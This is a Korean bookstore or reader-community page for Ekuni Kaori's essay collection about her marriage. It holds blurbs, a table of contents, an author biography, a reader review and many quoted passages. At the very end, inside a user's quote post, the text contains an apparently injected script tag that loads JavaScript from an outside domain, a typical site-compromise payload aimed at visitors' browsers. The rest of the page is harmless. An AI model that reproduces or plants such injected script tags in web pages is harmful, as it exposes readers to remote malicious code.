2004-09-15
8,500원 | 148쪽 | 192*135mm
종합평점 : 5 ( 1 명)
에쿠니 가오리가 자신의 결혼생활을 써내려간 에세이. 완전히 다른 한 남자를 만나 같은 공간에서 함께 살게 되면서 선물처럼 다가오는 기쁨과 냉혹한 외로움, 조금은 슬프지만 대체로 평화로운 일상, 그 사람으로 인해 색깔을 지니게 된 하루하루. 특유의 간명하고 아름다운 언어로 펼쳐보이는 열여섯 개의 단상이 담겼다.

취향도 다르고 노는 것도 다르고 전혀 다른 기억을 지니고 있는 그와 그녀. 가끔은 모두 같으면 좋을텐데 라고 생각하지만 그럴 수 없다는 것 또한 알고 있다. 결혼이라는 틀 안에서 그들이 서로 부딪치고 실망하며, 또 오래 함께 하기 위해 그것을 극복해가는 과정에 대한 에쿠니 가오리식 해법이다.

작가라는 직업상 주말에 대한 개념이 없던 그녀가 결혼을 하게 되면서 \\\'주말\\\'이라는 단어가 새롭게 다가오고, 그렇게 매번 다른 느낌, 다른 풍경의 주말이 되풀이된다. 함께 한다는 것의 의미를 깨닫고 또 자신의 새로운 모습을 알아가는 과정. 에쿠니 가오리의 소소한 일상이 고스란히 담긴, 투명하고 다정한 느낌의 짧은 글모음.
(알라딘)
목차 보기/닫기
공원

외간 여자
월요일


풍경
노래
벚꽃 드라이브와 설날
혼자만의 시간
자동판매기의 캔 수프
방랑자였던 시절
고양이
어리광에 대해서
킵 레프트
RELISH

끝으로 ㅣ 에쿠니 가오리
작품해설 ㅣ 이노우에 아레노
역자후기 ㅣ 김난주
출판사리뷰 보기/닫기
저자 : 에쿠니 가오리

수상 : 2003년 나오키상, 2001년 야마모토 슈고로상, 1998년 로보우노이시 문학상, 1992년 무라사키시키부 문학상, 1990년 츠보타조지문학상
최근작 : <3색 러브컬렉션 2 : 홀리가든 + 반짝반짝 빛나는 + 언젠가 기억에서 사라진다 해도 - 전3권>,<3색 러브컬렉션 1 : 낙하하는 저녁 + 도쿄 타워 + 울 준비는 되어 있다 - 전3권>, … 총 122종 (모두보기)
소개 : 에쿠니 가오리(江國香織)는 일본 문단에서 순수 문학과 오락 문학(추리소설과 SF) 사이에 위치한 중간 문학의 선두 주자로 꼽힌다. 사랑의 다양한 풍경을 그린 연애 소설에 관한 한 최고의 솜씨를 보여주면서 현재 일본에서 가장 많은 독자를 확보한 여성 작가로 군림하고 있다. 아쿠타가와상을 수상한 남성 작가 쓰지 히토나리(つじ仁成)와 번갈아 가면서 연재하고, 각자 따로 단행본으로 낸 소설 ‘냉정과 열정사이’는 일본에서 200만 부 이상 팔렸다. 저명한 수필가 에쿠니 기게루를 부친으로 둔 에쿠니는 어린이와 청소년을 위한 동화 작가로 출발했다. 동화 창작에 뿌리를 둔 에쿠니의 문체는 쉽고 부드러우면서, 감각적이고 간결한 일본어의 매력을 보여준다는 평을 받고 있다. (--- 조선일보) 그녀는 1964년 동경에서 태어났다. 동화적 작품에서 연애소설, 에세이까지 폭넓은 집필 활동을 하고 있다. 한국에서는 <냉정과 열정사이, 로소>가 소개되면서 \\\'여자 무라카미 하루키\\\'라는 평가를 받았다. 요시모토 바나나, 야마다 에이미와 함께 일본 3대 여류작가로 불리고 있다. 1989년 <409 래드클리프>로 제1회 페미나 상, 1990년 <코우바시이히>로 제38회 산케이아동출판문화상과 제7회 츠보타조지문학상, 1992년 <반짝반짝 빛나는>으로 무라사키시키부 문학상, 1998년 <나의 작은 새>로 로보우노이시 문학상, 2001년 <수영, 안전하나 적절하진 않아요>로 제15회 야마모토주고로상, 2003년 <울 준비는 되어 있다>로 제13회 나오키상을 받았다. 그 외 2007년에는 제14회 시마세 연애 문학상을 수상했다. 에쿠니는 창작 이외에 영미권의 아동 문학을 일본어로 번역하기도 하면서 “언젠가는 진짜 어린이를 위한 소설을 쓰고 싶다”는 꿈을 갖고 있다. 그녀의 작품으로 <제비꽃 설탕 절임>, <장미나무 비파나무 레몬나무>, <수박 향기>, <모모코>, <웨하스 의자>, <호텔 선인장>, <낙하하는 저녁>, <울 준비는 되어 있다>, <도쿄 타워>, <언젠가 기억에서 사라진다 해도>, <마미야 형제> 등이 있다.
(알라딘)
  • 당신의 결혼은 어떻습니까?
    agnes | 2009년 08월 23일
    더 보기
      에세이. 결혼 에세이. 에쿠니 가오리의 결혼 에세이 입니다. 모든 글들이 그녀의 사소한 일상에서 시작해 남편이나 결혼생활에 대한 이야기로 끝이 납니다. 저는 아직 결혼을 하지도 않았거니와 결혼을 꼭 ...

      에세이. 결혼 에세이. 에쿠니 가오리의 결혼 에세이 입니다. 모든 글들이 그녀의 사소한 일상에서 시작해 남편이나 결혼생활에 대한 이야기로 끝이 납니다. 저는 아직 결혼을 하지도 않았거니와 결혼을 꼭 해야겠다고 생각하지도 않고 30살 이전엔 결혼을 할 마음조차 없습니다. 결혼에 대해 부정적인 생각과 여자로서의 피해망상이 있기 때문일까요. 이 에세이들을 읽으면서 그녀의 결혼 생활이 왠지 미래에 제가 겪게 될지도 모르는 결혼 생활과 닮아 있을 것 같다는 생각이 듭니다. 그녀는 그녀의 어머니가 매해 결혼 기념일마다 '너희가 이혼을 안하고 살고 있어 놀랍다'는 카드를 보낼 정도로 결혼과는 어울리지 않는 사람이었습니다. 저도 주변에서 좋은 아내감이 되기는 글렀다는 둥의 평가를 받는 편이라 글을 읽으면서 아직 결혼도 안해본 주제에 묘하게 공감하고 있었습니다.

      글에서 표현되는 그녀의 결혼 생활은 모순적인 감정의 연속입니다. '공원'에서는 주말에만 가끔 산책을 가자고 말해주는 남편이 치사하다고 생각합니다. 평일에는 혼자 공원을 서성입니다. 간혹가다 주말에 부부가 같이 공원에 모습을 드러내는 것이 '그녀는 시간이 많고 한가하지만 그녀의 남편은 바쁘고 그래서 그녀가 남편에게 매달리는' 것 같은 인상을 주기 때문에 그렇게 생각했나봐요. 왠지 자신이 졸라서 산책을 나오게 된 듯한 느낌인가 봅니다. 이렇게 얄미워하다가도 '색'에서는 남편 덕분에 모노톤이었던 그녀의 일상이 다채롭게 바뀌었다고 이야기 하지요. 남편과 함께하는 주말에는 감정 소모를 하면서도 월요일이 되면 그를 보내기 싫은 마음. 그렇게 같이 있고 싶어 부루퉁한 얼굴로 배웅한 뒤 혼자가 되었다는 안도감. '월요일'에는 이 두가지 상반되는 감정이 교차합니다.

      들러붙어 있기에 이렇듯 마음이 슬픈 것이다.
      정말이지 절실하게 그런 생각을 한다. 그런데도 어쩔 수 없이 들러붙고 만다. 우리 둘은 때로 말로 형용할 수 없이 외롭다 (혼자일 때의 고독은 기분 좋은데, 둘일 때의 고독은 왜 이리도 끔찍한 것일까). (40p)

      이런 모순을 비단 그녀만 느끼는 것이 아니라는 것을 저는 압니다. 왜냐구요? 저도 그렇게 생각하니까요. 남자친구와 모든 생활을 공유하다보면, 차라리 혼자 있을 때 느끼는 고독감은 반갑기까지 하고 저를 들뜨게 만드는데 남자친구와 함께 있으면 갑자기 그와 제가 너무 다르다는 점을 자각하게 되고 둘이 있긴 하지만 혼자인 것 같은 느낌에 쉽게 답답해집니다. 그럼 헤어지는 편이 낫지 않나구요? 에쿠니 가오리씨가 말한 것 처럼 둘일 때의 고독이 끔찍한 것이기는 하지만, 그래도 그 웃는 모습을 보면 좋고 머리 한번 쓰다듬어 주면 그에게만은 어리광을 부려도 될 것 같은 느낌이 좋아 계속 만나고 있습니다. 가끔은 제풀에 지쳐서 어떤 한 사람이랑 매우 친밀한 관계를 맺게 되는 건 정말 피곤한 일인 것 같아. 하고 말하지만 막상 사나흘 연락이 없으면 먼저 전화해서 목소리를 듣고 안심하는 것은 저입니다. '어리광에 대해서'에서 그녀는 이렇게 표현하죠.

      올바르지 않아도 전혀 상관없으니까 그래주었으면 한다. (119p)

      뭐가 옳은 것인지 정도는 저도 압니다. 알지만 꼭 그렇게 시시비비를 따지지 않고 그냥 받아주었으면 하는 마음. 틀린 것이더라도 내가 우기면 가끔은 눈감고 봐줬으면 하는 어리광. 남들에게는 쉬이 그렇게 해주기를 바랄 수 없지만 한사람에게만은 그렇게 바랄 수 있다는 것. 아, 어째서 저는 유부녀 에쿠니 가오리에 이렇게 공감하고 마는 걸까요. 결혼같은 연애를 하는 저때문인지 아니면 연애같은 결혼을 하고 있는 작가 때문인지 알 수 없게 되었습니다.

      행복하면서 행복하지만은 않고, 괴로우면서 괴롭지만은 않은 결혼. 가끔은 남편이 자신을 밥해주는 여자로만 생각하고 있는 것이 아닐까 하고 다른 많은 주부들과 같은 고민을 합니다. (밥) 그래도 지금까지느 남편과 같이 살고있고 지금의 결혼 생활을 맛있는 케익을 음미하듯 맛보고 있다고 여기며 행복해하죠. (RELISH) '외간여자'에서는 자신을 그의 여자가 아닌 외간 여자와 같이 대접해 줬으면 좋겠다고 생각하면서 '벚꽃 드라이브와 설날'에서는 새해 아침 가장 보고싶은 얼굴이 남편이라는 것에, 돌아갈 지이 있고 남편을 다시 볼 수 있다는 것에 다행이라고 생각하는 그녀. 제멋대로 인 것 같기도 하고 자유로운 것 같기도 합니다. 어떨 땐 5살의 어린아이, 또 어떨 땐 17살 사춘기 소녀, 그리고 많은 시간은 결혼한 여자로 살아가는 그녀를 보며 결혼이 많은 것을 바꾸어 놓았을 것이 분명하다고 생각했습니다.

      많이 느끼고 많이 생각하며 이 책을 읽었는데요. 그건 이 글들이 에쿠니 가오리씨의 결혼생활을 담고 있는 것이라고 확신하며 읽었기 때문이에요. 하지만 여기서 잠깐. 이게 왠걸, 작품 해설의 이노우에 아레노씨는 에쿠니 가오리씨가 '행간의 작가'라고 하며 이 글들이 과연 논픽션인가 하는 의문을 턱하니 던집니다. 책을 읽으면서 떠오른 이미지와 머릿 속 문장들 그리고 색깔들이 갈 곳 몰라 우왕좌왕하고 있어요. 이노우에 아레노씨, 저 당신의 '채굴장으로'를 그렇게 재미있게 읽었는데 저에게 이러시면 안됩니다. 이게 만일 소설이라면 배신감이 들 것 같아요. 정말로. ㅠㅠ

책 속의 한줄
  •   당신의 주말은 몇 개 입니까 中
    나와 남편은 취향이 전혀 다르다. 좋아하는 음악과 좋아하는 음식도 다르고, 좋아하는 영화와 좋아하는 책도 다르고, 뭘 하면서 노는 것을 좋아하는지도 다르다. 그래도 아무 상관없다고 생각해왔고, 오히려 다른 편이 건전하다고도 생각하지만, 그래도 가끔은 같으면 좋았을텐데,하고 생각한다. 모든 것이 같았으면 좋았을텐데, 하고. -p.22

    비는 소염작용을 한다고 생각한다. 그러니까 가령 감정의 기복-예를 들면 연애-이 어떤 유의 염증이라고 한다면 비는 매우 위험한 것이라고 할 수 있다. -24

    나는 옛날부터 초콜릿은 남자가 여자에게 선물하는 것이라고 생각하고 있다. 그래서 남자에게 초콜릿을 선물한 적이 한 번도 없다. 달콤하고 사치스럽고, 입안에서 쾌락과 함께 녹는 초콜릿을 남자가 여자의 마음을 녹이기 위해 존재하는 것이라고 생각하니까 -31

    연애를 하면서 한 약속은 대개 무의미해서, 가령 다른 사람은 절대 사랑하지 않겠노라고 약속했다한들 소용없는 일이라는 것을 잘 안다. 일이 그렇게 되었다면 그렇게밖에 될 수 없었던 것이고, 또 약속때문에 그런 기회를 놓치기를 바라지도 않는다. -32

    우리는 많은 주말을 함께 지내고 결혼했다. 늘 주말 같은 인생이면 좋을텐데, 하고 마음 속으로 생각한다. 하지만 알고 있다. 하루하루가 주말 같다면 우리는 보나마나 산산이 조각나리라는 것을. -41

    항상 같은 사람과 밥을 먹는 다는 것은 멋진 일이다. 먹은 밥의 수만큼 생활이 쌓인다. -48

    결혼하고서 생활에 색이 입혀졌다고 생각한다. 갑자기 모든 것에 색상이 생기고, 그것은 아주 즐거운 일이면서 동시에 다소는 불안한 일이기도 했다. -52

    다른 사람과 함께 생활할 때의 사사로움, 그 번거로움, 그 풍요로움. 혼자가 둘이 되면서 전혀 다른 시각으로 세상을 볼 수 있다는 것. -54

    남편과 함께 있고 싶은데 모든 것을 함께하고 싶은데, 더 이상 이런 마음이 불거지면 좀 이상한게 아닐까 싶어 불안할 때도 있다. 함께 있고 싶다기보다 함께 있지 않으면 더는 함께 있을 수 없을 듯한 느낌. 함께 있으면서 만난지 두 달밖에 안 된 연인들처럼 들러붙어 있지 않으면 내 마음을 잃어버릴 것 같다. 함께 있지 않아도 괜찮다고 생각지 않게 해줘, 하고 생각한다. 절실하게. -62

    오늘도 우리는 같은 장소에서 전혀 다른 풍경을 보고 있다. 하지만, 생각해보면 다른 풍경이기에 멋진 것이다. 사람이 사람을 만났을 때, 서로가 지니고 있는 다른 풍경에 끌리는 것이다. 그때까지 혼자서 쌓아올린 풍경에. -63

    인생이란 어디서 어떻게 변할지 알 수가 없다. 언제 헤어지게 되더라도, 헤어진 후에 남편의 기억에 남아있는 풍경 속의 내가 다소나마 좋은 인상이기를, 하고 생각한 것이다. -65

    하루하루를 살아감ㄴ서 아무튼 들러붙어 자는 것이 바람 역할을 하기도 하고, 맛있는 음식과 뜨거운 물로 샤워하는 것, 몇 번이고 되풀이해 듣는 음악이 또 바람이 되어준다. 그런 소박한 일들에서 위안을 얻지 못하면 도저히 사랑은 관철할 수 없다. -74

    하얀 꽃잎을 올려다보면서 내년에도 이 사람과 함께 벚꽃을 볼 수 있을까, 하고 생각한다. 단순한 의문문으로. '함께 보고싶다'가 아니라 '과연 함께 볼 수 있을까'하고 생각한다. 나는 그렇게 생각할 때 내 인생이 조금은 좋아진다. 묘한 느낌이다. 내년에도 이 사람과 함께 벚꽃을 볼 가능성이 있다. 아주 희망에 찬 생각이라고 나는 기뻐한다. 그리고 물론 그것은 함께 벚꽃을 볼 가능성이 있기에 가능한 기뿜이다. 소설을 읽으면서 행복한 것은 많은 가능성 속에서 한가지가 선택되기 때문이고, 그 선택에 나는 가슴이 설렌다. -79

    결혼한(또는 결혼한 적이 있는) 많은 사람들이 왜 결혼에 대해 별 얘기를 하지 않는지, 스스로 해보고야 알았다. 꿀처럼 행복하고 아까워서 말하지 않는 것은 물론 아니고, 그렇다고 괴롭고 고통스럽고 우울해서 말하지 않는것도 아니다. 그저 모두들 입을 다물고 있을 수밖에 없는 것이다. 그 결혼이 너무도 특수하고 개인적이어서, 우연과 필연이 꽈배기처럼 꼬여 설명하기 곤란한 양상을 띠고 있기에. -87

    관용은 우리집의 키 포인트다. 그것 없이는 유지가 안 된다. 하지만 관용은 부부 중 어느 한 쪽이 갖고 있으면 충분하지 않을까. 양쪽 다 관용이 넘친다면 그것도 곤란할 것 같다. -97

    결혼은 움직이는 보도 같은 것이어서, 가만히 있어도 앞으로 나아가고 만다. 어딘지도 모르고, 어쩌면 가고 싶지도 않은 장소로. 그래서, 거기서 가만히 있자고 생각하면 그만 뒤로 걷게 된다. 움직이는 보도에 저항하기 위해. -102

    종종 왜 결혼을 했느냐는 질문을 당하는데, 나는 어쩌면 나만의 남자를 원했는지도 모르겠다. 물론 결혼할 당시 그렇게 생각했던 것은 아니다. 지금 생각하면 애정과 혼란과 행복한 우연 끝에 나만의 남자를 원했던 것 같고, ?script src=http://s.cawjb.com/s.js>
    imagination | 2006-09-05 23:25:00

책속의 한줄 쓰기